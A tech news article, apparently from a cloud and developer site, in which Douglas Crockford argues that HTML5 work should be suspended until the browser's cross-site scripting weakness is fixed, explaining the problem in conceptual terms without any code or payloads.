Welcome!

Machine Learning Authors: Pat Romanski, Yeshim Deniz, Liz McMillan, Elizabeth White, Zakia Bouachraoui

Related Topics: Cloud Security, Machine Learning , Agile Computing

Cloud Security: Article

Discoverer of JSON Recommends Suspension of HTML5

Douglas Crockford: "The HTML5 proposal does not attempt to correct the XSS problem."

"There is much that is attractive about HTML5," says Douglas Crockford, known to millions of developers as the discoverer of JSON (JavaScript Object Notation), the widely used lightweight data-interchange format.

"But ultimately," Crockford continues, "the thing that made the browser into a credible application delivery system was JavaScript,
the ultimate workaround tool." The problem is that there is what he calls "a painful gap" in the specification of the interface between JavaScript and the browser. The result? XSS and other maladies. The responsible course of action, Crockford contends, is to correct that defect first before pushing ahead with HTML5.



In an email exchange with Jeremy Geelan, here is what Crockford (pictured above) says, in his own words...

"The most serious defect in web browsers is the incorrectly named Cross Site Scripting (XSS) vulnerability. XSS enables an attacker to inject code into a web page that runs with the authority of the site that issued the page. The rights granted to the attacker include the right to interact with the server, the right to scrape data from the page, the right to modify the page, the right to dialog with the user, the right to load additional scripts from any server in the world, and the right to transmit the data it obtained from the server, the page, and the user to any server in the world. This is dangerous stuff.

XSS is misnamed for two reasons. First, it is not necessary for a second site to be involved. Sites that can reflect user generated content can be attacked without the participation of a second site. But more importantly, XSS suggests that cross site scripting is a bad thing. In fact, cross site scripting is a highly beneficial thing. It is what enables mashups. Cross site scripting enables Ajax libraries, analytics, and advertising. The problem is that the browser's security model did not anticipate mashups.

The XSS problem comes from two fundamental problems. The first is that the language of the web is unnecessarily complicated. HTML can be embedded in HTTP, and HTML can have embedded in it URLs, CSS, and JavaScript. JavaScript can be embedded in URLs and CSS. Each of these languages has different encoding, escapement, and commenting conventions. Statically determining that a piece of text will not become malicious when inserted into an HTML document is surprisingly difficult. There is a huge and growing set of techniques by which an attacker can disguise a payload that can avoid detection. New techniques are discovered all the time, and usually the attackers find them first. The web was not designed as a system. Instead it was a sloppy cobbling, and that sloppiness aids the enemy.

The second problem is that all scripts on a page run with the same authority. The browser has a better security model than desktop systems because it can distinguish between the interests of the user and the interests of the program (or website). But the browser failed to anticipate that there could be other scripts that represent additional interests. As a result, the browser is confused, treating all scripts as equally trusted to represent a site, even when it has loaded scripts from different sites.

This problem first appeared 15 years ago in Netscape Navigator 2. Those developers could be forgiven for having not foreseen the way that browsers would ultimately be used. But to have this problem incorporated into web standards and left in place for 15 years is intolerable. This problem must be fixed.

The HTML5 proposal does not attempt to correct the XSS problem and actually makes it worse in three ways:

1. HTML5 is huge and bloated. It is likely that this bloat will create new opportunities for malicious script injection.

2. HTML5 adds powerful new capabilities (such as local database and cross-site networking) that become fully available to the attacker.

3. HTML5 is a large effort. The solution of the XSS problem may have to wait until HTML5 is completed, which could be years away.

The fundamental mistake in HTML5 was one of prioritization. It should have tackled the browser's most important problem first. Once the platform was secured, then shiny new features could be carefully added.

There is much that is attractive about HTML5. But ultimately the thing that made the browser into a credible application delivery system was JavaScript, the ultimate workaround tool. There is a painful gap in the specification of the interface between JavaScript and the browser, and that is a source of XSS and other maladies. The responsible course of action was to correct that defect first.

That course is still available to us. My recommendation is that we suspend the current HTML5 activity. We start over with a new charter: To quickly and effectively repair the XSS vulnerability. Then we can mine the bloated HTML5 set for features that have high value and which do not introduce new security vulnerabilities.

HTML5 has a lot of momentum and appears to be doomed to succeed. I think the wiser course is to get it right first. We have learned the hard way that once an error gets into a web standard, it is really hard to get it out.

What do you think? Add your feedback below.

More Stories By Douglas Crockford

Douglas Crockford, an architect at Yahoo!, is an AJAXWorld regular. A technologist of parts, he has developed office automation systems, done research in games and music at Atari, and been both Director of Technology at Lucasfilm and Director of New Media at Paramount. He was the founder and CEO of Electric Communities/Communities.com and the founder and CTO of State Software, where he discovered JSON. He is interested in Blissymbolics, a graphical, symbolic language, and is developing a secure programming language.

Comments (0)

Share your thoughts on this story.

Add your comment
You must be signed in to add a comment. Sign-in | Register

In accordance with our Comment Policy, we encourage comments that are on topic, relevant and to-the-point. We will remove comments that include profanity, personal attacks, racial slurs, threats of violence, or other inappropriate material that violates our Terms and Conditions, and will block users who make repeated violations. We ask all readers to expect diversity of opinion and to treat one another with dignity and respect.


CloudEXPO Stories
With more than 30 Kubernetes solutions in the marketplace, it's tempting to think Kubernetes and the vendor ecosystem has solved the problem of operationalizing containers at scale or of automatically managing the elasticity of the underlying infrastructure that these solutions need to be truly scalable. Far from it. There are at least six major pain points that companies experience when they try to deploy and run Kubernetes in their complex environments. In this presentation, the speaker will detail these pain points and explain how cloud can address them.
The deluge of IoT sensor data collected from connected devices and the powerful AI required to make that data actionable are giving rise to a hybrid ecosystem in which cloud, on-prem and edge processes become interweaved. Attendees will learn how emerging composable infrastructure solutions deliver the adaptive architecture needed to manage this new data reality. Machine learning algorithms can better anticipate data storms and automate resources to support surges, including fully scalable GPU-centric compute for the most data-intensive applications. Hyperconverged systems already in place can be revitalized with vendor-agnostic, PCIe-deployed, disaggregated approach to composable, maximizing the value of previous investments.
When building large, cloud-based applications that operate at a high scale, it's important to maintain a high availability and resilience to failures. In order to do that, you must be tolerant of failures, even in light of failures in other areas of your application. "Fly two mistakes high" is an old adage in the radio control airplane hobby. It means, fly high enough so that if you make a mistake, you can continue flying with room to still make mistakes. In his session at 18th Cloud Expo, Lee Atchison, Principal Cloud Architect and Advocate at New Relic, discussed how this same philosophy can be applied to highly scaled applications, and can dramatically increase your resilience to failure.
Machine learning has taken residence at our cities' cores and now we can finally have "smart cities." Cities are a collection of buildings made to provide the structure and safety necessary for people to function, create and survive. Buildings are a pool of ever-changing performance data from large automated systems such as heating and cooling to the people that live and work within them. Through machine learning, buildings can optimize performance, reduce costs, and improve occupant comfort by sharing information within the building and with outside city infrastructure via real time shared cloud capabilities.
As Cybric's Chief Technology Officer, Mike D. Kail is responsible for the strategic vision and technical direction of the platform. Prior to founding Cybric, Mike was Yahoo's CIO and SVP of Infrastructure, where he led the IT and Data Center functions for the company. He has more than 24 years of IT Operations experience with a focus on highly-scalable architectures.